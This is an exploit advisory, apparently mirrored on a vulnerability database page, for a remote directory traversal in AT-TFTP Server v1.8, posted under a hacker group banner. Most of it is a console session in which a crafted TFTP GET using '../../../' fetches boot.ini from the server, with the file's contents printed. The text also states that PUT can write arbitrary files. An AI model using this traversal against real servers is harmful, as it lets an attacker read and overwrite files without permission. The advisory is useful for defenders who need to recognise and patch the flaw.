Lucene search
K

AT-TFTP Server v1.8 Remote Directory Traversal Vulnerability

🗓️ 06 Nov 2010 00:00:00Reported by Yakir WizmanType 
zdt
 zdt
🔗 0day.today👁 20 Views

AT-TFTP Server v1.8 Remote Directory Traversal Vulnerabilit

Code
============================================================
AT-TFTP Server v1.8 Remote Directory Traversal Vulnerability
============================================================

#     _             ____  __            __    ___
#    (_)____ _   __/ __ \/ /_____  ____/ /  _/_/ |
#   / // __ \ | / / / / / //_/ _ \/ __  /  / / / /
#  / // / / / |/ / /_/ / ,< /  __/ /_/ /  / / / /
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/  / /_/_/ 
#                   Live by the byte     |_/_/ 
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
# Debug
#
# Contact: [email protected]
#
# -----------------------------------
# AT-TFTP Server is vulnerable for a path traversal, the following will explain you how to read & write files
# The vulnerability allows an unprivileged attacker to read & write files whom he has no permissions to.
# The vulnerable TFTP commands are:
# * GET     - Read  File
# * PUT     - Write File
#-----------------------------------
# Vulnerability Title: AT-TFTP Server v1.8 Remote Directory Traversal Vulnerability
# Date: 05/11/2010
# Author: Pr0T3cT10n
# Software Link: http://www.alliedtelesis.co.nz/support/rapier/downloads/at-tftpd.exe
# Affected Version: 1.8
# Tested on Windows XP Hebrew, Service Pack 3
# ISRAEL, NULLBYTE.ORG.IL
###
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
 
C:\Documents and Settings\Admin>tftp
 
Transfers files to and from a remote computer running the TFTP service.
 
TFTP [-i] host [GET | PUT] source [destination]
 
  -i              Specifies binary image transfer mode (also called
                  octet). In binary image mode the file is moved
                  literally, byte by byte. Use this mode when
                  transferring binary files.
  host            Specifies the local or remote host.
  GET             Transfers the file destination on the remote host to
                  the file source on the local host.
  PUT             Transfers the file source on the local host to
                  the file destination on the remote host.
  source          Specifies the file to transfer.
  destination     Specifies where to transfer the file.
 
 
C:\Documents and Settings\Admin>tftp -i 127.0.0.1 GET ../../../boot.ini C:\boot.txt
 
Transfer successful: 221 bytes in 1 second, 221 bytes/s
 
C:\Documents and Settings\Admin>type c:\boot.txt
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional"
/noexecute=optin /fastdetect
 
C:\Documents and Settings\Admin>



#  0day.today [2018-03-20]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation